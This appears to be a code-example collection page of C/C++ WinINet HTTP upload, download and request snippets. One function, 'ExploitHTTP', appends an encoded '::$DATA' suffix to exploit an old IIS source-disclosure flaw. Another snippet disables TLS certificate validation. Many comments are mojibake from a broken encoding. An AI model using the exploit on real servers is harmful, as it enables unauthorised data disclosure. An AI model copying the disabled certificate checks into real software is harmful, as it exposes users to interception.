	HttpAddRequestHeaders(hRequest, ct, lstrlen(ct), HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE);


	CHAR head[] = "----myself\r\nContent-Disposition: form-data; name=\"file\"; filename=\"\"\r\n\r\n";
	CHAR tail[] = "\r\n----myself--\r\n";
	head_length = strlen(head);
	tail_length = strlen(tail);

	total_length = file_length + head_length + tail_length;

	INTERNET_BUFFERS Ibuffer;
	ZeroMemory(&Ibuffer, sizeof(INTERNET_BUFFERS));
	Ibuffer.dwBufferTotal = total_length;
	Ibuffer.dwStructSize = sizeof(INTERNET_BUFFERS);

	HttpSendRequestEx(hRequest, &Ibuffer, NULL, 0, NULL);

	InternetWriteFile(hRequest, head, head_length, &sent_tmp);
	sent_length += sent_tmp;

	while (read_tmp = cfile.Read(send_buffer, read_part))
	{
		sent_bfleng = 0;
		while (sent_bfleng != read_tmp)
		{
			if (read_tmp - sent_bfleng > send_part)
			{
				InternetWriteFile(hRequest, send_buffer + sent_bfleng, send_part, &sent_tmp);
			}
			else
			{
				InternetWriteFile(hRequest, send_buffer + sent_bfleng, read_tmp - sent_bfleng, &sent_tmp);
			}
			if (sent_tmp == 0)
			{
				InternetCloseHandle(hRequest);
				InternetCloseHandle(hConnect);
				InternetCloseHandle(hnet);
				cfile.Close();
				delete[] send_buffer;
				return FALSE;
			}
			sent_bfleng += sent_tmp;
			sent_length += sent_tmp;
			*process = (DWORD)(100 * (double)sent_length / total_length);
		}
	}

	InternetWriteFile(hRequest, tail, tail_length, &sent_tmp);
	sent_length += sent_tmp;
	*process = (DWORD)(100 * (double)sent_length / total_length);

	HttpEndRequest(hRequest, NULL, 0, NULL);
	InternetCloseHandle(hRequest);
	InternetCloseHandle(hConnect);
	InternetCloseHandle(hnet);
	cfile.Close();
	delete[] send_buffer;


	return TRUE;

}
Exemple #25
0
void ExploitHTTP (HINTERNET inet, const char *host, const char *exp)
{

  	HINTERNET connection;		/* Connection Handle */
    HINTERNET request;			/* Request Handle */
    unsigned long flags;		/* HttpOpenRequest Flags */

	char buffer[BUFSIZ];
    unsigned long len;


	printf("HOST: %s\n", host);
	printf("PORT: %i\n", httpport);

	if ((connection = InternetConnect(inet, host, httpport,
				      NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0))
	    == NULL)
	{
		printf("Failed to Connect...Exiting\n");
		InternetCloseHandle(inet);
		fclose(file);
		exit(1);
	}

	flags = INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_AUTO_REDIRECT |
	    INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_COOKIES |
	    INTERNET_FLAG_RELOAD;

	strcat(exp, "%3A%3A%24%44%41%54%41");

	request = HttpOpenRequest(connection, "GET", exp, "HTTP/1.0", NULL, NULL, flags, 0);
	if (request == NULL)
	{
		printf("HTTP Open Request failed....Exiting\n");
		InternetCloseHandle(connection);
		InternetCloseHandle(inet);
		fclose(file);
		exit(1);
	}
	if (!HttpSendRequest(request, NULL, 0, NULL, 0))
	{
		printf("HTTP Send Request failed....Exiting\n");
		InternetCloseHandle(request);
		InternetCloseHandle(connection);
		InternetCloseHandle(inet);
		fclose(file);
		exit(1);
	}
	printf("Exploit Sent...Dumping HTTP Return Packet...");
	sleep(1000);

	while (InternetReadFile(request, buffer, sizeof buffer, &len) && len > 0)
	{
		fwrite(buffer, len, 1, file);
		if (fwrite(buffer, len, 1, stdout) < 1)
		{
				printf("Error Outputting HTTP Return Packet\n");
		}
	}
	InternetCloseHandle(request);
    InternetCloseHandle(connection);
}
Exemple #26
0
BOOL baidu_download(CString dfile, CString token, CString fname,DWORD *process)
{
	if (dfile == L"")
	{
		MessageBox(NULL,L"Îļþ·¾¶²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}
	if (token == L"")
	{
		MessageBox(NULL, L"token²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}
	if (fname == L"")
	{
		MessageBox(NULL, L"ÎļþÃû²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}
	CString url(L"/rest/2.0/pcs/file?method=download&path=%2Fapps%2Fhitdisk%2F" + fname + L"&access_token=" + token);


	DWORD headlength;
	DWORD FileLength;//Îļþ³¤¶È
	TCHAR* szBuff;//»º³åÇø
	DWORD bfsize = 1024 * 64;//»º³åÇø´óС
	TCHAR* FileBuff;//½âÎöÎļþ³¤¶ÈÖ¸Õë

	BOOL bResult = TRUE;
	HINTERNET hRequest = NULL;
	HINTERNET hConnect = NULL;
	HINTERNET hnet = InternetOpen(TEXT("Test"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

	hConnect = InternetConnect(hnet, TEXT("pcs.baidu.com"), 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hRequest = HttpOpenRequest(hConnect, TEXT("GET"), url, NULL, NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_RELOAD, 0);

	bResult = HttpSendRequest(hRequest, NULL, 0, NULL, 0);

	//½âÎöÎļþ³¤¶È
	DWORD i;
	szBuff = new TCHAR[bfsize];
	headlength = bfsize;
	bResult = HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, szBuff, &headlength, NULL);
	FileBuff = wcsstr(szBuff, L"Content-Length");
	FileBuff += 16;
	for (i = 0;; i++)
	{
		if (FileBuff[i] == '\r')
			break;
	}
	FileLength = CharToDword(FileBuff, i);

	CFile cfile(dfile, CFile::modeWrite | CFile::modeCreate);

	DWORD wbfclength = 0;//»º³åÇøµ±Ç°Êý¾Ý³¤¶È
	DWORD wbfsize = 1024 * 1024;//»º³åÇø´óС
	char *WriteBuffer = new char[wbfsize];//ÎļþдÈ뻺³åÇø

	CString show_process;
	DWORD dwBytesAvailable;
	DWORD FileReceived = 0;
	BOOL error = TRUE;
	BOOL cmp = 0;
	while (InternetQueryDataAvailable(hRequest, &dwBytesAvailable, 0, 0))
	{
		DWORD dwBytesRead;
		if (dwBytesAvailable <= bfsize)
		{
			bResult = InternetReadFile(hRequest, szBuff, dwBytesAvailable, &dwBytesRead);
		}
		else
		{
			bResult = InternetReadFile(hRequest, szBuff, bfsize, &dwBytesRead);
		}
		FileReceived += dwBytesRead;

		CopyMemory(WriteBuffer + wbfclength, szBuff, dwBytesRead);
		if (error)
		{
			szBuff[13] = '\0';
			cmp = _strnicmp((char *)szBuff,"{\"error_code\"" , 13);
			if (cmp == 0)
			{
				*process = 100;
				InternetCloseHandle(hRequest);
				InternetCloseHandle(hConnect);
				InternetCloseHandle(hnet);
				cfile.Close();
				cfile.Remove(dfile);
				delete[] szBuff;
				delete[] WriteBuffer;
				return FALSE;
			}
		}
		wbfclength += dwBytesRead;
		if (wbfclength > wbfsize - bfsize)
		{
			cfile.Write(WriteBuffer, wbfclength);
			wbfclength = 0;
		}
		*process = (DWORD)(100 * (double)FileReceived / FileLength);
		if (dwBytesRead == 0)
			break;  // End of File.
	}

	if (wbfclength)
		cfile.Write(WriteBuffer, wbfclength);

	InternetCloseHandle(hRequest);
	InternetCloseHandle(hConnect);
	InternetCloseHandle(hnet);
	cfile.Close();
	delete[] szBuff;
	delete[] WriteBuffer;

	return TRUE;
}
Exemple #27
0
void main(int argc, char *argv[])
{

    if(argc<2)
    {
        printf("USAGE: %s [webserver]\n", argv[0]);
        return;
    }

    // Open Internet session.
    HINTERNET hSession = InternetOpen(
                            "Wininet Client App",
                            PRE_CONFIG_INTERNET_ACCESS,
                            NULL, 
                            INTERNET_INVALID_PORT_NUMBER,
                            0) ;

    // Connect to server\website.
    // NOTE: There must be a client authentication certificate
    // available that corresponds to the name of the server or 
    // website that you are connecting to.
    // For instance, if I am running WebServer on machine davemo1,
    // then I can specify "davemo1" as the webserver. I must have a
    // client authentication certificate available 
    HINTERNET hConnect = InternetConnect(
                            hSession,
                            argv[1],
                            INTERNET_DEFAULT_HTTPS_PORT,
                            "",
                            "",
                            INTERNET_SERVICE_HTTP,
                            0,
                            0) ;



    // Request the file default.htm from the server.
    HINTERNET hHttpFile = HttpOpenRequest(
                            hConnect,
                            "GET",
                            "default.htm",
                            HTTP_VERSION,
                            "",
                            NULL,
                            INTERNET_FLAG_SECURE,
                            0) ;

    //
    // Send the request and check for success
    //
    while(!HttpSendRequest(hHttpFile, NULL, 0, 0, 0))
    {

        // If the server requires a client certificate I'll invoke
        // this nifty dialogue to select a certificate and
        // reset the options for the request.

        printf("HttpSendRequest error : (%lu)\n", GetLastError());

        InternetErrorDlg (
            GetDesktopWindow(),
            hHttpFile,
            ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED,
            FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
            FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
            FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
            NULL);


    }

    // Get the length of the file.            
    char bufQuery[32] ;

    DWORD dwLengthBufQuery;
    dwLengthBufQuery = sizeof(bufQuery);

    DWORD dwIndex;
    dwIndex=0;

    BOOL bQuery;
    
    bQuery = HttpQueryInfo(
                hHttpFile,
                HTTP_QUERY_CONTENT_LENGTH, 
                bufQuery, 
                &dwLengthBufQuery,
                &dwIndex) ;

    if(!bQuery)
        printf("HttpQueryInfo error : <%lu>\n", GetLastError());


    // Convert length from ASCII string to a DWORD.
    DWORD dwFileSize;
    
    dwFileSize = (DWORD)atol(bufQuery) ;

    // Allocate a buffer for the file.   
    char* buffer;
    
    buffer = new char[dwFileSize+1] ;

    printf("Trying to read %lu bytes from the server\n", dwFileSize);

    // Read the file into the buffer. 
    DWORD dwBytesRead ;
    BOOL bRead;
    
    bRead = InternetReadFile(
                hHttpFile,
                buffer,
                dwFileSize+1, 
                &dwBytesRead);

    if(!bRead)
    {
        printf("InternetReadFile error : <%lu>\n", GetLastError());
    }
    else
    {
        // Put a zero on the end of the buffer.
        buffer[dwBytesRead] = 0 ;

        // Print the buffer contents.
        printf("Retrieved %lu data bytes: %s\n", dwBytesRead, buffer) ;
    }

    // Close all of the Internet handles.
    InternetCloseHandle(hHttpFile); 
    InternetCloseHandle(hConnect) ;
    InternetCloseHandle(hSession) ;


}
STDMETHODIMP HttpRequest::Send(IHttpResponse** pVal)
{
    
	HRESULT hr=S_OK;
    
	ATLASSERT(pVal);
	(*pVal)=NULL;
	if(!this->m_szUrl || _tcslen(this->m_szUrl)==0) {
		InfoMsgBox(_T("请先指定请求的目标URL地址!"));
		return hr;
	}
    
	//显示进度
	rcContext.hOpen=this->m_hOpen;
	rcContext.dwPostFileLength=0;
	rcContext.dwPostedLength=0;
	rcContext.dwContentLength=0;
	rcContext.dwReceivedLength=0;
	if (this->m_blShowRequestProgress){
		ZeroMemory(rcContext.szMemo,sizeof(rcContext.szMemo));//STRLEN_DEFAULT);
		_tcscpy_s(rcContext.szMemo,_T("请稍候,正在准备连接..."));
		rcContext.hThread=CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)ProgressDialog,0,0,&(rcContext.dwThreadID));
	}

	//请求方法
	TCHAR szUrl[STRLEN_4K]={0};
	_tcscpy_s(szUrl,m_szUrl);
	TCHAR szMethod[STRLEN_SMALL]=_T("POST");
	if(this->m_szMethod && _tcslen(this->m_szMethod)>0){
		ZeroMemory(szMethod,sizeof(szMethod));
		_tcscpy_s(szMethod,m_szMethod);
	}

	//±äÁ¿¶¨Òå
	DWORD dwError=0;
	DWORD dwFlags=0;
	HINTERNET hConnect=0;			//Internetȇȡ
	HINTERNET hRequest=0;			//InternetÁ¬½Ó
	INTERNET_PORT dwPort;

	BOOL postFileFlag=FALSE;	//ÊÇ·ñÓÐÓÐЧµÄÌá½»Îļþ¡£
	HANDLE hPostFile=0;
	DWORD dwPostFileSize=0;

	BOOL sendRequestSucceeded=TRUE;	//·¢ËÍÇëÇóÊÇ·ñ³É¹¦

	DWORD dwSize=0;

	DWORD dwStatusCode=0;	//httpÇëÇóÏìÓ¦´úÂë
	DWORD dwContentLength=0;	//httpÇëÇóÏìÓ¦ÄÚÈݳ¤¶È
	DWORD dwErrorCode=0;	//httpÇëÇóÏìÓ¦´íÎóÂë
	TCHAR szContentType[STRLEN_DEFAULT]={0};	//httpÇëÇóÏìÓ¦ÄÚÈÝÀàÐÍ
	CComBSTR szResText(L"");				//httpÇëÇóÏìÓ¦·µ»Ø½á¹ûÎı¾
	TCHAR* szHeader=NULL;	//httpÇëÇóÏìӦͷÐÅÏ¢

	BOOL getHeanderSucceeded=TRUE;	//»ñÈ¡httpÇëÇóÏìӦͷÐÅÏ¢ÊÇ·ñ³É¹¦

	char readBuffer[STRLEN_1K]={0};	//ÿ´Î¶ÁÈ¡µÄÏìÓ¦ÄÚÈÝ
	DWORD dwCalcLength=0;	//ͨ¹ýÄÚÈݼÆËã³öÀ´µÄContentLength
	
	BOOL responseFileFlag=FALSE;	//ÊÇ·ñÓÐÓÐЧµÄÏìÓ¦ÄÚÈݱ¾µØ±£´æÎļþ
	HANDLE hResponseFile=0;	//ÇëÇóÏìÓ¦ÄÚÈݱ£´æµ½±¾µØÎļþµÄÎļþ¾ä±ú

	int requestCount=1;	//ÇëÇó´ÎÊý
	
	TCHAR szAccept[] = _T("*/*");
	LPTSTR AcceptTypes[2]={0};
	AcceptTypes[0]=szAccept;
	AcceptTypes[1]=NULL;

	
	CComPtr<IHttpResponse> response;	//ÇëÇóÏìÓ¦¶ÔÏó

	//Á¬½Ó
	dwPort=this->m_usUrlPort;	//¶Ë¿ÚºÅ
	dwFlags= INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD |INTERNET_FLAG_KEEP_CONNECTION;
	if (this->m_blUrlIsSSL) dwFlags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
	
	//´ò¿ªÁ¬½Ó
	if ( !(hConnect = InternetConnect(this->m_hOpen,this->m_szUrlHost , dwPort, _T(""),  _T(""), INTERNET_SERVICE_HTTP, 0, (DWORD)&rcContext))){
		dwError=GetLastError();
		ErrorMsgBox(dwError,_T("Internet连接错误:%s"));
		goto clean;
	}
	
reconnect:
	//´ò¿ªÇëÇó
	if ( !(hRequest = HttpOpenRequest(hConnect,this->m_szMethod,this->m_szUrlFile, _T("HTTP/1.1"), _T(""),(LPCTSTR*)AcceptTypes, dwFlags ,(DWORD)&rcContext))){
		dwError=GetLastError();
		ErrorMsgBox(dwError,_T("Internet打开请求错误:%s"));
		goto clean;
	}
	
	//ÓÐÖ¸¶¨Ìá½»Îļþ
	if (this->m_szPostFile && _tcslen(this->m_szPostFile)) {
		postFileFlag=PathFileExists(this->m_szPostFile);
	}
	
	//Èç¹ûÓÐÌá½»µÄÎļþ
	if(postFileFlag) {
		if ((hPostFile = CreateFile(this->m_szPostFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL)) == (HANDLE)(-1))
		{
			dwError=GetLastError();
			ErrorMsgBox(dwError,_T("提交的文件不存在或者无法打开:%s"));			
			goto clean;
		}        
		dwPostFileSize=GetFileSize(hPostFile,NULL);
		rcContext.dwPostFileLength=dwPostFileSize;
		TCHAR szPostFileSize[STRLEN_SMALL]={0};
		_stprintf_s(szPostFileSize,_T("%d"),dwPostFileSize);
		this->AddHeader(T2BSTR(_T("Content-Length")),T2BSTR(szPostFileSize));
	}
	
	//ÉèÖÃÇëÇóÍ·
	if (this->m_szHeader && _tcslen(this->m_szHeader)) {
		if (!HttpAddRequestHeaders(hRequest,this->m_szHeader,-1L,HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD)){
			dwError=GetLastError();
			ErrorMsgBox(dwError,_T("设置请求头错误:%s"));
			goto clean;
		}
	}
	/*
	InternetSetOption(FhRequest,     
                  INTERNET_OPTION_CLIENT_CERT_CONTEXT,   
                  (LPVOID)pdDesiredCert,     
                  sizeof(CERT_CONTEXT));   
 INTERNET_FLAG_KEEP_CONNECTION£¬INTERNET_FLAG_EXISTING_CONNECT
	*/
	//´¦Àí¶îÍâÉèÖ㨺öÂÔһЩ´íÎó£©
	dwFlags=0;
	dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA|SECURITY_FLAG_IGNORE_REVOCATION|SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP|SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS|SECURITY_FLAG_IGNORE_CERT_DATE_INVALID|SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
	if (!InternetSetOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS,&dwFlags,sizeof(dwFlags))){
		dwError=GetLastError();
		ErrorMsgBox(dwError,_T("设置请求选项错误:%s"));
		goto clean;
	}
	
	//·¢ËÍÇëÇó
again:
	if(postFileFlag){	//ÓÐÌá½»ÎļþÄÚÈÝ
		INTERNET_BUFFERS BufferIn = {0};
		DWORD dwBytesWritten;
		BYTE bts[STRLEN_1K]={0};
		DWORD dwBtsRead=0;
		DWORD dwTotalBytes=0;

		BufferIn.dwStructSize = sizeof(INTERNET_BUFFERS);
		BufferIn.Next=NULL;
		BufferIn.dwBufferTotal=dwPostFileSize;

		sendRequestSucceeded=HttpSendRequestEx(hRequest, &BufferIn, NULL, HSR_INITIATE,(DWORD)&rcContext);
		
		while(ReadFile(hPostFile, bts, STRLEN_1K, &dwBtsRead, NULL) && dwBtsRead>0 && dwTotalBytes<=dwPostFileSize){
			if (!InternetWriteFile(hRequest, bts,dwBtsRead, &dwBytesWritten))
			{
				dwError=GetLastError();
				ErrorMsgBox(dwError,_T("发送文件内容错误:%s"));
				goto clean;
			}
			dwTotalBytes+=dwBtsRead;
			rcContext.dwPostedLength=dwTotalBytes;
		}
		
		if(!HttpEndRequest(hRequest, NULL, 0, 0))
		{
			dwError=GetLastError();
			ErrorMsgBox(dwError,_T("关闭HTTP连接时错误:%s"));
			goto clean;
		}
	}//if end
	else{	//ûÓÐÌá½»ÎļþÄÚÈÝ
		sendRequestSucceeded=HttpSendRequest(hRequest, NULL, 0, NULL, 0);
	}	//else end

	//²é¿´ÊÇ·ñÇëÇó·¢Ëͳɹ¦
	if (!sendRequestSucceeded){
		dwError=GetLastError();
		switch(dwError){
			case ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED:
				if(InternetErrorDlg(GetDesktopWindow(),hRequest,ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED,FLAGS_ERROR_UI_FILTER_FOR_ERRORS|FLAGS_ERROR_UI_FLAGS_GENERATE_DATA|FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,NULL)!=ERROR_SUCCESS)
				{
					requestCount++;
					if (requestCount>2) {
						InfoMsgBox(_T("已经尝试发送请求操作2次仍无法成功,请联系系统管理员!"));
						goto clean;
					}	//Èç¹ûÑ­»·ÇëÇó´ÎÊý¶àÓÚÁ½´Î£¬ÄÇô²»ÔÙÑ­»·
					else goto again;
				}
				break;
			case ERROR_SUCCESS:
				break;
			default:
				ErrorMsgBox(dwError,_T("发送请求错误:%s"));
				goto clean;
		}//switch end
	}//if end

	//È¡ÏìӦ״̬ÏûÏ¢
	dwSize= sizeof(DWORD);
	if (!HttpQueryInfo(hRequest,HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwStatusCode, &dwSize, NULL))
	{
		dwError=GetLastError();
		ErrorMsgBox(dwError,_T("获取响应代码错误:%s"));
		goto clean;
	}

	switch(dwStatusCode){
		case HTTP_STATUS_DENIED:	//ÐèÒªµÇ¼
		case HTTP_STATUS_PROXY_AUTH_REQ:
			InfoMsgBox(_T("请求的地址需要登录,请您先登录后再发送请求!"));
			goto clean;
		case HTTP_STATUS_REDIRECT:	//Öض¨Ïò
		case HTTP_STATUS_MOVED:
			{
				TCHAR szRedirect[4096]={0};
				DWORD dwRedirect=sizeof(szRedirect);
				if (!HttpQueryInfo(hRequest,HTTP_QUERY_LOCATION,(LPVOID)szRedirect,&dwRedirect,NULL)){
					dwError=GetLastError();
					ErrorMsgBox(hr,_T("获取重定向地址错误:%s"));
					goto clean;
				}
				this->put_Url(szRedirect);
				//ÏȹرÕÁ¬½ÓºÍÇëÇó£¬È»ºóÖØÐÂÁ¬½Ó
				if (!InternetCloseHandle(hRequest))
				{
					dwError=GetLastError();
					ErrorMsgBox(dwError,_T("关闭HTTP请求错误:%s"));
					goto clean;
				}
				//if (!InternetCloseHandle(hConnect))
				//{
				//	dwError=GetLastError();
				//	ErrorMsgBox(dwError,_T("关闭HTTP连接错误:%s"));
				//	goto clean;
				//}
				//MessageBox(0,szRedirect,_T("重定向"),0);
				goto reconnect;
			}
		case HTTP_STATUS_OK:
		default:
			break;
	}

	//¹¹ÔìÇëÇóÏìÓ¦¡£
	response.p=NULL;
	hr=response.CoCreateInstance(_T("YRExchange.HttpResponse"));
	if (FAILED(hr)) {
		ErrorMsgBox(hr,_T("创建HttpResponse错误:%s"));
		goto clean;
	}
	response->put_StatusCode(dwStatusCode);
	response->put_ErrorCode(dwError);

	//ÏìÓ¦ÄÚÈÝ´óС
	dwSize=sizeof(dwContentLength);
	if (HttpQueryInfo(hRequest,HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER ,&dwContentLength,&dwSize,NULL)){
		//dwError=GetLastError();	
		//ErrorMsgBox(dwError,_T("获取请求响应内容长度错误:%s"));
		//goto clean;
		if (dwContentLength>0) {
			response->put_ContentLength(dwContentLength);
			rcContext.dwContentLength=dwContentLength;
		}
	}

	//ÏìÓ¦ÄÚÈÝÀàÐÍ 
	dwSize=sizeof(szContentType);
	if (HttpQueryInfo(hRequest,HTTP_QUERY_CONTENT_TYPE ,(LPVOID)szContentType,&dwSize,NULL)){
		//dwError=GetLastError();	
		//ErrorMsgBox(dwError,_T("获取请求响应内容类型错误:%s"));
		//goto clean;
		if (_tcslen(szContentType)>0) response->put_ContentType(T2BSTR(szContentType));
	}
	
	//ËùÓÐÏìӦͷÐÅÏ¢
	szHeader=new TCHAR[STRLEN_8K];
	dwSize=STRLEN_8K*sizeof(TCHAR);
getheader:
	getHeanderSucceeded=HttpQueryInfo(hRequest,HTTP_QUERY_RAW_HEADERS_CRLF ,(LPVOID)szHeader,&dwSize,NULL);
	if(!getHeanderSucceeded){
		dwError=GetLastError();
		if (dwError==ERROR_INSUFFICIENT_BUFFER){
			TCHAR szXX[100]={0};
			_stprintf_s(szXX,_T("dwError=%d,dwSize=%d"),dwError,dwSize);
			InfoMsgBox(szXX);
			SAFE_FREE_STRING_PTR(szHeader);
			szHeader=new TCHAR[dwSize+2];
			dwSize+=2;
			dwSize=dwSize*sizeof(TCHAR);
			goto getheader;
		}
		else if (dwError!=ERROR_SUCCESS){
			ErrorMsgBox(dwError,_T("获取请求响应头信息错误:%s"));
			goto clean;
		}
	}
	if(szHeader) response->put_Header(T2BSTR(szHeader));
	//ÏìÓ¦ÄÚÈÝ´¦Àí
	if (this->m_blSaveResponseToFile && this->m_szResponseFile && _tcslen(this->m_szResponseFile)>0 && dwStatusCode != 201){	//°ÑÏìÓ¦ÄÚÈݱ£´æµ½Îļþ
		//´´½¨Îļþ 
		hResponseFile = CreateFile(this->m_szResponseFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
		if (hResponseFile == INVALID_HANDLE_VALUE) 
		{ 
			dwError=GetLastError();
			ErrorMsgBox(dwError,_T("打开响应内容本地保存文件错误:%s"));
			goto clean;
		}
		responseFileFlag=TRUE;
	}
	do{
		ZeroMemory(readBuffer,STRLEN_1K);
		dwSize=0;
		if (!InternetReadFile(hRequest,(LPVOID)readBuffer,sizeof(readBuffer),&dwSize)){
			dwError=GetLastError();
			ErrorMsgBox(dwError,_T("读取请求响应内容错误:%s"));
			goto clean;
		}
		if (dwSize!=0){
			dwCalcLength+=dwSize;
			if (responseFileFlag){	//дÎļþ
				DWORD dwWritten=0;
				if (!WriteFile(hResponseFile,readBuffer,dwSize,&dwWritten,NULL)){
					dwError=GetLastError();
					ErrorMsgBox(dwError,_T("写入响应内容本地保存文件错误:%s"));
					goto clean;
				}
			}
			else{	//×·¼Óµ½ÏàÓ¦Îı¾
				char buffer[STRLEN_1K+2]={0};
				strncpy_s(buffer,readBuffer,dwSize);
				if (szResText) szResText.Append(buffer);
			}
			if (dwCalcLength==dwContentLength) break;
			rcContext.dwReceivedLength=dwCalcLength;
		}//if end
	}while(dwSize!=0);
	
	//°ÑÏìÓ¦ÄÚÈݱ£´æµ½ÏìÓ¦Îı¾
	if (!responseFileFlag){
		response->put_ContentText(szResText.Detach());
	}//
	//×ÊÔ´»ØÊÕ
clean:
	//¹Ø±ÕÎļþ
	if(hPostFile) CloseHandle(hPostFile);
	if(hResponseFile) {
		FlushFileBuffers(hResponseFile);
		CloseHandle(hResponseFile);
	}

	//»ØÊÕhttpÁ¬½ÓºÍÇëÇó¾ä±ú
	if (hRequest) InternetCloseHandle(hRequest);
	if (hConnect) InternetCloseHandle(hConnect);

	//¹Ø±Õ״̬¿ò
	//if (this->m_blShowRequestProgress) WaitForMultipleObjects(1,&rcContext.hThread,TRUE,INFINITE); 
	if (this->m_blShowRequestProgress) EndDialog(rcContext.hProgressWnd,0);

	SAFE_FREE_STRING_PTR(szHeader);

	response.CopyTo(pVal);

	return S_OK;
}
BOOL vmsPostRequest::SendMultipart(LPCTSTR ptszServer, LPCTSTR ptszFilePath, std::string *pstrResponse)
{
	Close ();

	USES_CONVERSION;

#ifdef DEBUG_SHOW_SERVER_REQUESTS
	TCHAR tszTmpPath [MAX_PATH];
	GetTempPath (MAX_PATH, tszTmpPath);
	TCHAR tszTmpFile [MAX_PATH];
	_stprintf (tszTmpFile, _T ("%s\\si_serv_req_%d.txt"), tszTmpPath, _c++);
	HANDLE hLog = CreateFile (tszTmpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
	DWORD dwLogWritten;
	#define LOG_REQ_BUFFER(buf, size) WriteFile (hLog, buf, size, &dwLogWritten, NULL)
	#define LOG_REQ(s) LOG_REQ_BUFFER (s, strlen (s))
	#define LOG_REQ_OPEN	CloseHandle (hLog); ShellExecute (NULL, "open", tszTmpFile, NULL, NULL, SW_SHOW);
	char szTmp [10000] = ""; DWORD dwTmp = 10000;
	#define LOG_REQ_HTTP_HDRS *szTmp = 0; HttpQueryInfo (m_hRequest, HTTP_QUERY_RAW_HEADERS_CRLF | HTTP_QUERY_FLAG_REQUEST_HEADERS, szTmp, &dwTmp, 0); LOG_REQ (szTmp);
	#define LOG_REQ_DATA_BUFFER LOG_REQ_BUFFER (pbSendData, pbSendDataPos-pbSendData)
	#define LOG_REQ_ALL LOG_REQ_HTTP_HDRS; LOG_REQ_DATA_BUFFER;
	#define LOG_RESP_HTTP_HDRS *szTmp = 0; HttpQueryInfo (m_hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, szTmp, &dwTmp, 0); LOG_REQ (szTmp);
#else
	#define LOG_REQ(s) 
	#define LOG_REQ_OPEN
	#define LOG_REQ_DATA_BUFFER
	#define LOG_REQ_HTTP_HDRS
	#define LOG_RESP_HTTP_HDRS
	#define LOG_REQ_ALL
#endif

	LPBYTE pbSendData = NULL; LPBYTE pbSendDataPos = NULL;
	#define ADD_DATA_TO_SEND(data,len) {memcpy (pbSendDataPos, data, len); pbSendDataPos += len;}
	#define ADD_STRING_TO_SEND(s) ADD_DATA_TO_SEND (s, strlen (s));

	if (m_vParts.size () == 0)
		return FALSE;

	DWORD dwAccessType = INTERNET_OPEN_TYPE_PRECONFIG;
	if (m_pProxyInfo)
		dwAccessType = m_pProxyInfo->tstrAddr.empty () ? INTERNET_OPEN_TYPE_DIRECT : INTERNET_OPEN_TYPE_PROXY;
	m_hInet = InternetOpen (m_tstrUserAgent.c_str (), dwAccessType,
		dwAccessType == INTERNET_OPEN_TYPE_PROXY ? m_pProxyInfo->tstrAddr.c_str () : NULL, NULL, 0);
	if (m_hInet == NULL)
		return FALSE;

	PostInitWinInetHandle (m_hInet);
	
	m_hConnect = InternetConnect (m_hInet, ptszServer, INTERNET_DEFAULT_HTTP_PORT, 
		NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
	if (m_hConnect == NULL)
	{
		LOG_REQ ("SERVER CONNECT FAILURE\r\n");
		LOG_REQ_OPEN;
		return FALSE;
	}
	
	m_hRequest = HttpOpenRequest (m_hConnect, _T ("POST"), ptszFilePath, NULL, NULL, NULL,
		INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | 
		INTERNET_FLAG_PRAGMA_NOCACHE, 0);
	if (m_hRequest == NULL)
	{
		LOG_REQ ("SERVER OPEN REQUEST FAILURE\r\n");
		LOG_REQ_OPEN;
		return FALSE;
	}

	ApplyProxyAuth (m_hRequest);

	std::string strLabel = "---------------------------284583012225az7";

	TCHAR tszHdr [10000] = _T ("Content-Type: multipart/form-data; boundary=");
	_tcscat (tszHdr, A2CT (strLabel.c_str ()));

	

	INTERNET_BUFFERS buffs;
	ZeroMemory (&buffs, sizeof (buffs));
	buffs.dwStructSize = sizeof (buffs);
	buffs.lpcszHeader = tszHdr;
	buffs.dwHeadersLength = buffs.dwHeadersTotal = _tcslen (tszHdr);
	buffs.dwBufferTotal = strLabel.length () + 4; 

	for (int step = 0; step < 2; step++)
	for (size_t i = 0; i < m_vParts.size (); i++)
	{
